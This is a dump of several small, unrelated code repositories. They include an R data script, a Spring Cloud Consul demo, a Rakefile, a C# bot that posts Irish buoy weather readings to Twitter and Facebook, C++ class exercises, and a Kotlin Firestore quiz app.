15c30827f36b3315ed145a0477ec872370c66d74
0bc1aa8cc05b4e95940b648f9702cf410888d1cb
refs/heads/main
<repo_name>skulstadA/myrepo<file_sep>/script/myrepo.R library(here) library(tidyverse) df <- read_csv2(here("data","data.csv")) df2 <- df %>% mutate(data2 = data*2) write_csv(df2,here("data","data2.csv")) df df2 # Create variable 'data3' df2 %>% mutate(data3 = data2 - 10) <file_sep>/README.md # myrepo testing my setup This is a line from RStudio This is another line from RStudio This is a line from GitHub. A line I wrote on my local computer
910257b6eec0b9c0545f71e2c08eea99e60ed089
[ "Markdown", "R" ]
2
R
skulstadA/myrepo
8f5927322c12ce556dcf054e04dd2a042082a5cf
7db421472bc3420d85f8f29caf227281e4b0b0f4
refs/heads/master
<repo_name>oct-bj/consul-test<file_sep>/consul-ribbon-service/src/main/java/com/macro/cloud/controller/HealthController.java package com.macro.cloud.controller; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.macro.cloud.domain.CommonResult; import com.macro.cloud.domain.User; @RestController @RequestMapping("/actuator") public class HealthController { private Logger LOGGER = LoggerFactory.getLogger(this.getClass()); @GetMapping("/health") public CommonResult getHealthState() { LOGGER.info("收到Consul发过来的健康检查探针信息"); return new CommonResult(); } } <file_sep>/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.7.RELEASE</version> </parent> <groupId>com.shunfenger-tech</groupId> <artifactId>consul-test</artifactId> <version>${app.version}</version> <packaging>pom</packaging> <name>consul-test</name> <properties> <spring-cloud.version>Greenwich.SR2</spring-cloud.version> <java.version>1.8</java.version> <app.version>0.8</app.version> </properties> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-consul-config</artifactId> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-consul-discovery</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-ribbon</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <modules> <module>consul-config-client</module> <module>consul-ribbon-service</module> <module>consul-common</module> <module>consul-user-service</module> </modules> <repositories> <repository> <id>central</id> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/groups/public/</url> <layout>default</layout> <releases> <enabled>true</enabled> </releases> <snapshots> <enabled>false</enabled> </snapshots> </repository> </repositories> </project>
a8ac825d1c88651dd653133e7f1fbe58f74cb567
[ "Java", "Maven POM" ]
2
Java
oct-bj/consul-test
c5ffe9b8d6805d048e41615d3c4d722f904581f0
c4eee021c2b1c21fd3fc439529ff6e6508705e68
refs/heads/master
<repo_name>pmkreppein/intro-to-rake-v-000<file_sep>/Rakefile require 'pry' task :environment do require_relative './config/environment' end desc 'hello' namespace :greeting do task :hello do puts 'hello from Rake!' end desc 'hola' task :hola do puts 'hola de Rake!' end end namespace :db do desc 'migrate' task migrate: :environment do Student.create_table end desc 'seed' task :seed do require_relative './db/seeds.rb' end end desc 'pry' task console: :environment do Pry.start end
453898075d15ab848f41063daa96b6fe84d893a8
[ "Ruby" ]
1
Ruby
pmkreppein/intro-to-rake-v-000
781db6218e98aec757baf8b40138642d1de36d57
2de7de824dd35b78d26cda2f54d3ad1423b323ee
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Tweetinvi; namespace TestApp { class Twitter : TestApp.Subscriber { //constructor creates the connection using the twitter API public Twitter(){ try { //Twitter application connection created with my Dev Keys from test twitter account TwitterCredentials.ApplicationCredentials = TwitterCredentials.CreateCredentials( "<KEY>", "<KEY>", "<KEY>", "<KEY>"); } catch (Exception ex) { Console.WriteLine("Error has occured when accessing Twitter: " + ex); } } public override void update(WeatherStation ws) { if (ws.Update != null) { //publish to the test twitter account Console.WriteLine("Tweet weather :" + ws.Update); try { Tweet.PublishTweet(ws.Update); } catch (System.TypeInitializationException) { Console.WriteLine("Publish data could not be read"); } } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace TestApp { public struct Compass { //declaring the variable for public access public string choice; public Compass(string degree) { //using emojicons to set the arrow of the direction string N = "⬆"; string S = "⬇"; string W = "➡"; string E = "⬅"; string NW = "↗"; string NE = "↖"; string SW = "↘"; string SE = "↙"; //needs to be initialised, but all the if statments sould catach all possible numbers choice = ""; //require error handling for the convert method try { //convert the passed in string into a double double degrees = Convert.ToDouble(degree); if ((degrees >= 345) || (degrees >= 0 && degrees <= 15)) choice = N; if ((degrees >= 175 && degrees <= 195)) choice = S; if ((degrees <= 285 && degrees >= 265)) choice = E; if ((degrees <= 105 && degrees >= 75)) choice = W; if ((degrees > 15 && degrees < 75)) choice = NW; if ((degrees > 285 && degrees < 345)) choice = NE; if ((degrees > 105 && degrees < 175)) choice = SW; if ((degrees > 195 && degrees < 265)) choice = SE; }catch(FormatException){ Console.WriteLine("Passed in parameter was not of a suitable type to convert to a double"); } }//end constructor }//end struct Compass } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TestApp { class DublinBuoyM2: TestApp.WeatherStation { internal string _stationID; public DublinBuoyM2() { _stationID = "M2"; } public string StationID { get { return _stationID; } } public override void addSub(Subscriber sub) { } public override void removeSub(Subscriber sub) { } public override void UpdateSubs() { // this.latestUpdate = "Dublin:Jan26 10:00 ☔ 6.8°C W/21kts/Gust25kn Hum81% #BuoyM2"; } public override void getUpdate(ref DateTime lastTime) { lastTime = DateTime.Now; } } } <file_sep>using HtmlAgilityPack; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TestApp { class CorkBuoyM3: TestApp.WeatherStation { private string _stationID; //base url http://erddap.marine.ie/erddap/tabledap/IWBNetwork.htmlTable?time,AtmosphericPressure,WindDirection,WindSpeed,Gust,AirTemperature,RelativeHumidity&station_id=%22M3%22&time>=2015-02-11T13:00:00Z //changing the final element related to time and station ID private string url; //this number is set based on the selections made to feed the URL int COLUMNS = 7; //create a current data time variable DateTime currentTime; //getters and setters public string StationID { get { return _stationID; } } //constructor public CorkBuoyM3() { _stationID = "M3"; } //like twitter or facebook or website widget public override void addSub(Subscriber sub) { //using the List method Add subscribers.Add(sub); } public override void removeSub(Subscriber sub) { //using the List method Remove subscribers.Remove(sub); } //this method will update all the subscribers public override void UpdateSubs() { //loop through all Subscribers foreach (Subscriber sub in subscribers) { //call the overridden method of each subscriber //and pass it this weather station object sub.update(this); } }//end UpdateSubs method //this method extracts the info from the URL of ERDDAP and populates the table 2d array public override void getUpdate(ref DateTime lastTime) { //initialise the 2D array to the required amount of columns table = new string[2, COLUMNS]; //set the current Date time to now currentTime = DateTime.Now; //store the hour long hour = currentTime.Hour; url = "http://erddap.marine.ie/erddap/tabledap/IWBNetwork.htmlTable?time,AtmosphericPressure,WindDirection,WindSpeed,Gust,AirTemperature,RelativeHumidity&station_id="; //break code to test exception // Two tests urls // url = "http://erddap.marine.ie/erddap/tabledap/IWBNetwork.htmlTable?station_id="; // url = ""; //only carry out this method if the time of the hour is different from the last hour //and only if it is past 30 mins in the hour as the URL usually will not have displayed if ((lastTime.Hour != hour) && (currentTime.Minute > 30)) { string patt = @"yyyy-MM-dd"; string newD = currentTime.ToString(patt); //add the search parameters like station id and date and time to the url url += "%22" + _stationID + "%22&time>=" + newD + "T" + hour + ":00:00Z"; //declare a web object and from that a document object that loads the URL that is required HtmlAgilityPack.HtmlWeb web = new HtmlWeb(); HtmlAgilityPack.HtmlDocument doc; try { doc = web.Load(url); Console.WriteLine(url); } catch (UriFormatException e) { Console.WriteLine("Error with reading data from URL: " + e); throw; } //this is to keep count of index in loops int i = 0; try { //this loops through html tags <th> headers, using the class that this particular page uses foreach (HtmlNode column in doc.DocumentNode.SelectNodes("//table[@class='erd commonBGColor']/tr/th")) { //check to see if node is null if (column.InnerHtml == null) { continue; } else { //this is the length of column in the table in ERDDAP, will need adjusting if you select differnt URL if (i < COLUMNS) { table[0, i] = column.InnerHtml; } i++; } } //reset the index i = 0; //this loops through html tags <td> data elements, using the class that this particular page uses foreach (HtmlNode cell in doc.DocumentNode.SelectNodes("//table[@class='erd commonBGColor']/tr/td")) { //a catch to ensure the node is not null if (cell.InnerHtml == null) { continue; } else { if (i < COLUMNS) { //load into 2d array in the second row table[1, i] = cell.InnerHtml; i++; } } }//end for loop } catch (NullReferenceException e) { Console.WriteLine("No table elements to read"); } //printing to check contence foreach (var h in table) { if (h != null) Console.WriteLine(h); } int day = DateTime.Now.Day; string month = DateTime.Now.ToString("MMM"); try { Compass comp = new Compass(table[1, 2].Trim()); // Console.WriteLine(table[1, 2].Trim()); //assign using the setter method for update string in base class this.Update = month + day + " " + hour + ":00 #Buoy" + _stationID + "\n⛅ Temp:" + table[1, 5].Trim() + "°C Hum:" + table[1, 6].Trim() + "%\n💨 Dir:" + comp.choice + table[1, 3].Trim() + "km/Gust:" + table[1, 4].Trim() + "kn"; } catch (NullReferenceException) { Console.WriteLine("Table was not populated from URL "); } //call the UpdateSub method only if satisfying If statement condition above and that table gets populated //means no need to check the time a second time in the other method if (table != null) { UpdateSubs(); lastTime = currentTime; } }//end if // should not need below else if not returning just dont change the ref /* else { lastTime = lastTime; } }//end if else { lastTime = lastTime; } * */ //need to empty the table of its data as not required outside this method ans dont //want it being held for nexr hour }//end method update } } <file_sep>using Facebook; using HtmlAgilityPack; using Microsoft.Practices.EnterpriseLibrary.ExceptionHandling; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Linq; using System.Text; using System.Threading; using TestApp; using Tweetinvi; namespace TestApp { class TestWeather { //declaring these object outside main and internal so they can be used within the namespace internal static Subscriber twit = new Twitter(); internal static Subscriber faceb = new FaceBook(); internal static WeatherStation cork = new CorkBuoyM3(); internal static DateTime lastTimeUpdate = default(DateTime); static void Main() { try { //Adding of a subscribers to CorkBuoy WeatherStation cork.addSub(twit); cork.addSub(faceb); //create a Threading.timer object to call the update method every 300000 milliseconds 5 mins Timer time = new Timer(TimerCallback, null, 0, 90000); }catch(Exception e) { Console.WriteLine("Error has occured and was thrown back to Main: " + e.Message); } //to keep the console open and to keep the program running Console.WriteLine("DO NOT CLOSE THIS CONSOLE IT WILL STOP THE APPLICATION RUNNING"); Console.ReadLine(); }//end main private static void TimerCallback(Object o) { try { //call the get update but only return a new value if is a new hour since last update cork.getUpdate(ref lastTimeUpdate); Console.WriteLine("Timer method ran"); } catch (Exception e) { Console.WriteLine("In timerCallBack Error has occured: " + e.Message); throw; } //force the collection GC.Collect(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Facebook; using System.Security.Cryptography; using System.Web; using System.Net; using System.IO; namespace TestApp { class FaceBook : TestApp.Subscriber { //creating an object of the FacebookClient type from the referanced Facebook API FacebookClient client; //there is no need for these variables to be used anymore now that have never expireing token string app_id = "855349874536252"; string app_secret ="<KEY>" ; //hard coding in the never ending Access token obtained via the Graph API //by using the temporary access token //to produce a long-life 2 month token for the user, //and then using this token to produce a longlife token for the Fan-page string access_token = "<KEY>"; //constructor public FaceBook() { try{ //instantiating the facebookClient in the constructor and checking for exceptions client = new FacebookClient(access_token); }catch(FacebookOAuthException e) { Console.WriteLine("Connection to FaceBook failed: " + e); throw; } } //overriding the update method inherited from Subscriber public override void update(WeatherStation ws) { try { client.Post("/me/feed", new { message = ws.Update }); Console.WriteLine("Facebook Post was sent"); } catch { Console.WriteLine("Posting failed to Facebook"); throw; } } //end update method }//end Facebook Class }//end namespace <file_sep>using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; namespace TestApp { abstract class WeatherStation { //array of subscribers, setting to what is required for now but can be increased //using a List to be dynamic for Substribers internal List<Subscriber> subscribers = new List<Subscriber>(); //2d array to hold the potential headings and data values of ERDDAP HTML pages, has a max number of 18 internal string[,] table; internal string _update; // getter and setter, not abstract as will be common behaviour for all subs public string Update { get { return _update; } set { _update = value; } } public abstract void addSub(Subscriber sub); public abstract void removeSub(Subscriber sub); //this will update all that is subscribed and been previously added public abstract void UpdateSubs(); //this will use the URL of ERDDAP and call it for the last hour, and store the result in the string 2d array public abstract void getUpdate(ref DateTime lastTime); } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace TestApp { //MIPWS means Marine Institute Personal Weather Station connected to www.wunderground.com class MIPWS: TestApp.WeatherStation { public override void addSub(Subscriber sub) { } public override void removeSub(Subscriber sub) { } public override void UpdateSubs() { // this.latestUpdate = "Dublin:Jan26 10:00 ☔ 6.8°C W/21kts/Gust25kn Hum81% #BuoyM2"; } public override void getUpdate(ref DateTime lastTime) { lastTime = DateTime.Now; } } } <file_sep># Project2015 NUIG HDip Software Design and Development Project (Industry Stream) <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TestApp { abstract class Subscriber { public abstract void update(WeatherStation ws); } }
5ce0c34c77f1789d0d95edc47b6ff2295b80e806
[ "Markdown", "C#" ]
10
C#
patriciaorgan/Project2015
2e6ae8cf658203a0a99079b0124120c3cd961156
11b3d31e8348cec94f41637c8fbf8315d6670ed1
refs/heads/master
<repo_name>ejdixon13/angular-input-utilities<file_sep>/src/multi-select-row/multi-select-row-dx.js /** * Created by ericjohndixon on 10/8/15. */ (function () { 'use strict'; angular.module('angular-input-utilities') .directive('multiSelectRow', ['UniqueAnchor', function (UniqueAnchor) { return { restrict: 'E', controller: 'MultiSelectRowCtrl', controllerAs: 'multiSelectRow', templateUrl: 'src/multi-select-row/multi-select-row-tpl.html', bindToController: true, scope: { multiSelectAttributes: '=multiSelectAttributes', dynamicAttributes: '=dynamicAttributes', rowTitle : '@rowTitle', multiSelectTitle : '@multiSelectTitle', removeFromSelectedCb: '=removeFromSelectedCb' }, link : function linker(scope, element, attrs) { scope.multiSelectRow.anchor = UniqueAnchor.getUniqueAnchor(); $(element).find('.dropdown-menu').attr('id', angular.copy(scope.multiSelectRow.anchor)); } }; }]) .controller('MultiSelectRowCtrl', ['$anchorScroll', '$location', '$scope', '$q', function($anchorScroll, $location, $scope, $q) { var multiSelectRow = this; multiSelectRow.getSelectedOptionText = getSelectedOptionText; multiSelectRow.removeOptionFromSelectList = removeOptionFromSelectList; multiSelectRow.selectedOptions = []; multiSelectRow.goToOptions = goToOptions; //non-dynamic multiselect options multiSelectRow.extraSettings = multiSelectRow.multiSelectAttributes.extraSettings; multiSelectRow.translationTexts = multiSelectRow.multiSelectAttributes.translationTexts; multiSelectRow.events = multiSelectRow.multiSelectAttributes.events; // need to use a promise for the dynamically loaded attribute. var multiSelectDynamicAttr = $q.when(multiSelectRow.dynamicAttributes); multiSelectDynamicAttr.then(function(dynamicAttr){ multiSelectRow.options = dynamicAttr.options; multiSelectRow.selectedOptions = dynamicAttr.selectedModel; }); function removeOptionFromSelectList(id) { var indexToRemove; angular.forEach(multiSelectRow.selectedOptions, function(selectedOption, index) { if (selectedOption.id == id) { indexToRemove = index; } }); if (indexToRemove !== undefined) { multiSelectRow.selectedOptions.splice(indexToRemove, 1); } if(multiSelectRow.removeFromSelectedCb) { multiSelectRow.removeFromSelectedCb({id: id}); } } function getSelectedOptionText(id) { if(multiSelectRow.options) { var selectedOption = _.findWhere(multiSelectRow.options, {id: id}); return (selectedOption) ? selectedOption.label : ''; } } // when the options go beyond the scrollable area, this will scroll to show all options function goToOptions() { var newHash = multiSelectRow.anchor; if ($location.hash() !== newHash) { // set the $location.hash to `newHash` and // $anchorScroll will automatically scroll to it $location.hash(multiSelectRow.anchor); } else { // call $anchorScroll() explicitly, // since $location.hash hasn't changed $anchorScroll(); } } }]); })(); <file_sep>/src/clearInput/clear-input.js /** * Created by ericjohndixon on 5/12/15. */ (function () { "use strict"; // directive attribute that is used to add a clear button to input elements angular.module('angular-input-utilities') .directive('clearInput', ['$compile', '$timeout', function ($compile, $timeout) { return { restrict: 'A', link: linker, require: 'ngModel' }; //////////////////////////////////////////////////// function linker(scope, element, attrs, ngModelCtrl) { var template = $compile('<i ng-show="enabled" ng-mousedown="reset()" class="clear-input fa fa-close show-hide"></i>')(scope); element.after(template); //accounts for any html 5 stuff that could be on the far right element.css('padding-right', '25px'); scope.reset = function () { ngModelCtrl.$setViewValue(''); ngModelCtrl.$render(); if (!attrs.uiDate) { $timeout(function () { element[0].focus(); }, 0, false); } }; element.bind('mouseenter', function () { scope.enabled = (ngModelCtrl.$viewValue !== null && ngModelCtrl.$viewValue !== ''); scope.$apply(); }); element.parent().bind('mouseleave', function () { scope.enabled = false; scope.$apply(); }); //element.parent().bind('focusout', function () { // if(!attrs.uiDate) { // scope.enabled = false; // if(!scope.$$phase) { // scope.$apply(); // } // } //}); element.bind('input', function () { scope.enabled = (ngModelCtrl.$viewValue !== null && ngModelCtrl.$viewValue !== ''); }); } }]) })(); <file_sep>/src/alphaNumericOnly/alpha-numeric-only.js /** * Created by ericjohndixon on 2/18/16. */ 'use strict'; angular.module('angular-input-utilities',[]) .directive('alphaNumericOnly', function ($parse) { return { restrict: 'A', require: 'ngModel', link: function (scope, iElement, iAttrs) { scope.$watch(iAttrs.ngModel, function (value, oldValue) { //The use can remove the number so it's null or enter a 0 so return if (value === 0 || value === null && typeof value !== 'undefined') { return; } var newValue =(value) ? value.toString().replace(/\W/g, '') : ''; $parse(iAttrs.ngModel).assign(scope, newValue); }); } }; }); <file_sep>/README.md This module contains a collection of utilities dealing with user input and validation ## Requirements - AngularJS ## Usage You can get it from [Bower](http://bower.io/) ```sh bower install angular-input-utilities ``` !To use the icon utilities you will need font awesome Load the script files in your application: ```html <link rel="stylesheet" href="dist/angular-input-utilities.css"> <script src="bower_components/angular/angular.js"></script> <script src="bower_components/angular-input-utilities/dist/angular-input-utilities.min.js"></script> ``` Add the specific module to your dependencies: ```javascript angular.module('myApp', ['angular-input-utilities', ...]) ``` Example Usage: ``` ```
d769b0435973e3c9361ab08dcd83acd4f5472883
[ "JavaScript", "Markdown" ]
4
JavaScript
ejdixon13/angular-input-utilities
f3def4997f3436320a98fc0d55b88ea196020d60
14c69f705eb13450e4835ae89e8aabf337c90bf6
refs/heads/master
<repo_name>dodger451/autovr<file_sep>/README.md # AutoVR A WebVR Boilerplate-based viewer for sensor data from a ROS - based autonomous car. ## Start roscore rosbag play 2016-05-11-00-00-01.bag -l roslaunch rosbridge_server rosbridge_websocket.launch rosrun tf2_web_republisher tf2_web_republisher Then configure (set serverUrl) and open index.html ## Thanks - [<NAME>][doob] for THREE.js. - [<NAME>][smus] for webvr-boilerplate. [doob]: https://twitter.com/mrdoob [smus]: http://smus.com <file_sep>/docker/entrypoint.sh #!/bin/bash source /opt/ros/indigo/setup.bash exec "$@" <file_sep>/docker/README.md # Run ros stuff in docker container(s) - Build docker image docker build -t autovr . - (optional) adapt name of rosbag to play in `docker-compose.yml` line 13 (default is 2016-05-11-00-00-01.bag) - Run docker containers export ROSBAGDIR=/path/to/rosbags/ docker-compose up
7cbab52eb1f4c92b981524fe8b85f3ce39446aa5
[ "Markdown", "Shell" ]
3
Markdown
dodger451/autovr
76514650fcb904a85787bca8a40df73b542a2f8e
92454c980bff7d4c6c2f95c226b5947e7de7c115
refs/heads/master
<repo_name>BeshoyDemian/Assignment1<file_sep>/question 9.cpp #ifndef STOCK30_H_ #define STOCK30_H_ class Stock { private: std::string company; long shares; double share_val; double total_val; void set_tot() { total_val = shares * share_val; } public: Stock(); Stock(const std::string & co, long n, double pr); ~Stock() {} void buy(long num, double price); void sell(long num, double price); void update(double price); void show() const; const Stock & topval(const Stock & s) const; int numshares() const { return shares; } double shareval() const { return share_val; } double totalval() const { return total_val; } const string & co_name() const { return company; } };<file_sep>/nzry.md Name: <NAME> Bench no. : 33733 1. A class is a definition of a user-defined type. A class declaration specifies how data is to be stored, and it specifies the methods (class member functions) that can be used to access and manipulate that data. 2. A class represents the operations you can perform on a class object with a public interface of class methods; this is abstraction.The class can use private visibility (the default) for data members, meaning that the data can be accessed only through the member functions; this is data hiding. Details of the implementation, such as data representation and method code, are hidden; this is encapsulation. 3. A class defines a type, including how it can be used.An object is a variable or another data object, such as that produced by new, which is created and used according to the class definition.The relationship between a class and an object is the same as that between a standard type and a variable of that type. 4. If you create several objects of a given class, each object comes with storage for its own set of data. But all the objects use the one set of member functions. (Typically, methods are public and data members are private, but thatís a matter of policy, not of class requirements.) 6. A class constructor is called when you create an object of that class or when you explicitly call the constructor. A class destructor is called when the object expires. 8. A default constructor either has no arguments or has defaults for all the arguments. Having a default constructor enables you to declare objects without initializing them, even if youíve already defined an initializing constructor. It also allows you to declare arrays. 10. The this pointer is available to class methods. It points to the object used to invoke the method.Thus, this is the address of the object, and *this represents the object itself. <file_sep>/ex1BankAccount.h // 5-This example use char arrays to hold the character data, but you could use string #include "stdafx.h" #include <cstring> class BankAccount { private: char name[40]; char acctnum[25]; double balance; public: BankAccount(const char * client, const char * num, double bal = 0.0); void show(void) const; void deposit(double cash); void withdraw(double cash); /*Question 7. BankAccount constructor*/ BankAccount::BankAccount(const char * client, const char * num, double bal) { strncpy(name, client, 39); name[39] = '\0'; strncpy(acctnum, num, 24); acctnum[24] = '\0'; balance = bal; } };
dde2c4bb0e6cae52bef46f9202420346a5cb47a6
[ "Markdown", "C++" ]
3
C++
BeshoyDemian/Assignment1
b4c77c2b138cca088535cfb760ed0438d95e5dba
11102609d250e08931162e40be9ba83b15eaef7f
refs/heads/master
<file_sep>package directoryApp.model; import java.util.List; import javax.persistence.*; @Entity @Table(name=Group.TABLE) @NamedQueries({ @NamedQuery( name="findAllGroups", query="SELECT * FROM " + Group.ID ) }) public class Group { // Table Group public static final String TABLE = "GROUP_TABLE"; public static final String ID = "ID_GROUP"; public static final String NAME = "NAME_GROUP"; // Table Link public static final String LINK_TABLE = "LINK_TABLE"; public static final String ID_GROUP = Group.ID; public static final String ID_PERSON = Person.ID; @Id @Column(name=ID) private long id; @Column(name=NAME) private String name; @ManyToMany @JoinTable(name=LINK_TABLE, joinColumns= @JoinColumn(name=ID_GROUP), inverseJoinColumns= @JoinColumn(name=ID_PERSON) ) private List<Person> list; public Group() {} public long getId() { return id; } public String getName() { return name; } public List<Person> getList() { return list; } public void setId(long id) { this.id = id; } public void setName(String name) { this.name = name; } public void setList(List<Person> list) { this.list = list; } } <file_sep>package directoryApp.business; import java.util.Collection; import directoryApp.model.Person; public interface IPersonManager { /** * Add the given parameter person * @param p * @throws Exception */ public void addPerson(Person p) throws Exception; /** * Removes person with id * @param id * @throws Exception */ public void removePerson(Long id) throws Exception; /** * Save the given parameter person * @param p * @throws Exception */ public void savePerson(Person p) throws Exception; /** * Compare the given parameter password with password's person with id * @param id * @param password * @return boolean * @throws Exception */ public boolean idPassword(Long id, String password) throws Exception; /** * Get person with id * @param id * @return * @throws Exception */ public Person findUser(Long id) throws Exception; /** * Get all persons * @return * @throws Exception */ public Collection<Person> findAll() throws Exception; } <file_sep>person.password = Le mot de passe est <PASSWORD> ! person.id.invalidID = Cet identifiant est invalide ! person.id.registered = Cet identifiant est déjà enregistré !
4891d35c09a13418813ef266346b8e2dad245435
[ "Java", "INI" ]
3
Java
Dubuis/directoryApp
a65f65ab05cb3707cfb2eff39fd588414b6901a3
4fd4aab594ceded0c18d1c3306ebc2fb009a1f3e
refs/heads/master
<repo_name>MichaelGaynor/BackboneMovies<file_sep>/js/movie_collection.js import Backbone from 'backbone'; import MovieModel from './movie_model'; let MovieCollection = Backbone.Collection.extend({ url: 'https://api.parse.com/1/classes/GoodMovies', model: MovieModel, parse: function(data) { return data.results; } }); export default MovieCollection;<file_sep>/js/movie_model.js import Backbone from 'backbone'; let MovieModel = Backbone.Model.extend({ urlRoot: 'https://api.parse.com/1/classes/GoodMovies', idAttribute: 'objectId' }); export default MovieModel<file_sep>/js/main.js import $ from 'jquery'; import _ from 'underscore'; import moment from 'moment'; $.ajaxSetup({ headers:{ 'X-Parse-Application-Id': 'HLyprOtO04VKlQ0i2G51lTHwb1a2zDjOjhbjMDvR', 'X-Parse-REST-API-Key': '<KEY>' } }); import MovieCollection from './movie_collection'; import MovieMaker from './movie_maker'; let movie = new MovieCollection(); function renderMovie(){ let $ul = $('<ul>Awesome Movies You Should Watch</ul>'); movie.each(function(film){ let data = film.toJSON(); let $li = $(MovieMaker(data)); $ul.append($li); }); $('div').html($ul); } movie.fetch().then(renderMovie);
655081facdfc4c4cad5df956bbd09ff56e9b3cbe
[ "JavaScript" ]
3
JavaScript
MichaelGaynor/BackboneMovies
824e7617face6da4b7b9d0441894397034ee9cc7
c6323978c64c1e456b0b6a61322e80e039fa7aaa
refs/heads/master
<file_sep>package com.example.inclass03; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.RadioButton; import android.widget.RadioGroup; import java.net.Inet4Address; public class EditActivity extends AppCompatActivity { public static final String TAG_IMAGE = "iv_gender2"; RadioGroup rg_gender_edit; RadioButton rb_male_edit; RadioButton rb_female_edit; ImageView iv_gender_edit; EditText et_firstName_edit; EditText et_lastName_edit; Button btn_save_edit; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_edit); rg_gender_edit = findViewById(R.id.rg_gender_edit); rb_male_edit = findViewById(R.id.rb_male_edit); rb_female_edit = findViewById(R.id.rb_female_edit); iv_gender_edit = findViewById(R.id.iv_gender_edit); et_firstName_edit = findViewById(R.id.et_firstName_edit); et_lastName_edit = findViewById(R.id.et_lastName_edit); btn_save_edit = findViewById(R.id.btn_save_edit); final Bundle extrasFromDisplay = getIntent().getExtras().getBundle("toEdit"); User user = (User) extrasFromDisplay.getSerializable("bundleEdit"); et_firstName_edit.setText(user.getFirst_name()); et_lastName_edit.setText(user.getLast_name()); if (user != null) { if (user.getGender().equals("male")) { rb_male_edit.setSelected(true); iv_gender_edit.setImageDrawable(getDrawable(R.drawable.male)); } else { rb_female_edit.setSelected(true); iv_gender_edit.setImageDrawable(getDrawable(R.drawable.female)); } } final String[] flag_image = new String[]{""}; rg_gender_edit.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { @Override public void onCheckedChanged(RadioGroup radioGroup, int i) { switch (radioGroup.getCheckedRadioButtonId()) { case R.id.rb_female: iv_gender_edit.setImageDrawable(getDrawable(R.drawable.female)); flag_image[0] = "female"; break; case R.id.rb_male: iv_gender_edit.setImageDrawable(getDrawable(R.drawable.male)); flag_image[0] = "male"; break; default: break; } } }); btn_save_edit.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { User user = new User(et_firstName_edit.getText().toString(), et_lastName_edit.getText().toString(), flag_image[0]); Bundle sentData = new Bundle(); sentData.putSerializable("usertoDisplay", user); Intent intent=new Intent(EditActivity.this,DisplayActivity.class); intent.putExtra(TAG_IMAGE,sentData); startActivity(intent); finish(); } }); } }
32239fd0a9a5c13b652c26aea8e9215d8b0bd9f5
[ "Java" ]
1
Java
abhishektanwer2/InClass03
76c038dc80f284655c24c12e392dfc4282bef94e
de7a4c3675f23c821cb4e4ad0e2ab391a5641633
refs/heads/master
<repo_name>nurrizkyimani/AndroidStudioProjects<file_sep>/README.md # AndroidStudioProjects Every small android project for learning & building List : 1. Stranger Chatbot using NLP (On Progress) 2. Bitcoin Tracker (On Progress) <file_sep>/quizApp/app/src/main/java/com/bocahrokok/quizapp/TodoViewModel.kt package com.bocahrokok.quizapp import android.util.Log import androidx.lifecycle.MutableLiveData import androidx.lifecycle.ViewModel import io.reactivex.android.schedulers.AndroidSchedulers import io.reactivex.disposables.CompositeDisposable import io.reactivex.rxkotlin.addTo import io.reactivex.schedulers.Schedulers class TodoViewModel: ViewModel() { val todos = MutableLiveData<List<TodoModel>>() val disposable = CompositeDisposable() val firestore = Firestore() init { todos.value = emptyList() getAllTodo() } private fun getAllTodo(){ firestore.getAllQuiz() .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe({ todos.value = it },{ Log.e("Todo", it.message) }).addTo(disposable) } override fun onCleared() { super.onCleared() disposable.clear() } }<file_sep>/quizApp/app/src/main/java/com/bocahrokok/quizapp/Firestore.kt package com.bocahrokok.quizapp import com.google.firebase.firestore.FirebaseFirestore import com.google.firebase.firestore.QuerySnapshot import io.reactivex.Single class Firestore { val db = FirebaseFirestore.getInstance() fun getAllQuiz() : Single<List<TodoModel>> { return Single.create { e -> db.collection("quiz") .get() .addOnSuccessListener { val list = mutableListOf<TodoModel>() it.forEach {document -> val todo = TodoModel( document.id, document["title"]?.toString()?: "", document["description"]?.toString() ?: "" ) list.add(todo) } e.onSuccess(list) } .addOnFailureListener{ e.onError(it) } } } }
96f44cc782b90acfcaff507d9aab30e48106a852
[ "Markdown", "Kotlin" ]
3
Markdown
nurrizkyimani/AndroidStudioProjects
